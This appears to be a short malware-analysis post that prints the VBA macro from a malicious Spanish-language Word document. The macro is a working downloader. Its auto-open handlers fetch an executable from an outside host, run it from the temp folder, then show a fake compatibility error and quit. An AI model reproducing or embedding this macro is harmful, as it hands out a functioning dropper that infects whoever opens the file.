from the malicious word doc detailed in dynamoo's blog here:
http://blog.dynamoo.com/2014/07/estado-de-cuenta-datallado-en-linea.html

the VBA script below.

when i checked, the baulretro.cl/tienda/cache/wp/ss.exe was no longer available.

=============================================================================
Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1
Private Sub Auto_Open()
Call DownloadFile("http://baulretro.cl/tienda/cache/wp/ss.exe", "389nvry8392y.exe")
End Sub
Private Sub Workbook_Open()
Call DownloadFile("http://baulretro.cl/tienda/cache/wp/ss.exe", "389nvry8392y.exe")
End Sub
Private Sub AutoExec()
Call DownloadFile("http://baulretro.cl/tienda/cache/wp/ss.exe", "389nvry8392y.exe")
End Sub
Private Sub AutoOpen()
Call DownloadFile("http://baulretro.cl/tienda/cache/wp/ss.exe", "389nvry8392y.exe")
End Sub
Private Sub Document_Open()
Call DownloadFile("http://baulretro.cl/tienda/cache/wp/ss.exe", "389nvry8392y.exe")
End Sub
Public Function DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
    On Error Resume Next
    Err.Clear

    Set XML = CreateObject("Microsoft.XMLHTTP")
    Set ADS = CreateObject("ADODB.Stream")

    XML.Open "GET", URL, False
    XML.send

    XML.getAllResponseHeaders

    FullSavePath = Environ(SavePath) & "\" & SaveName

    ADS.Open
    ADS.Type = 1
    ADS.Write XML.responseBody
    ADS.SaveToFile FullSavePath, 2

    Shell FullSavePath, vbNormalFocus
    DownloadFile = True
    MsgBox "Este documento no es compatible con este equipo." & vbCrLf & vbCrLf & "Por favor intente desde otro equipo.", vbCritical, "Error"
    If 1 < 5564 Then: sSa
End Function
Sub sSa()
    Application.DisplayAlerts = False
    Application.Quit
End Sub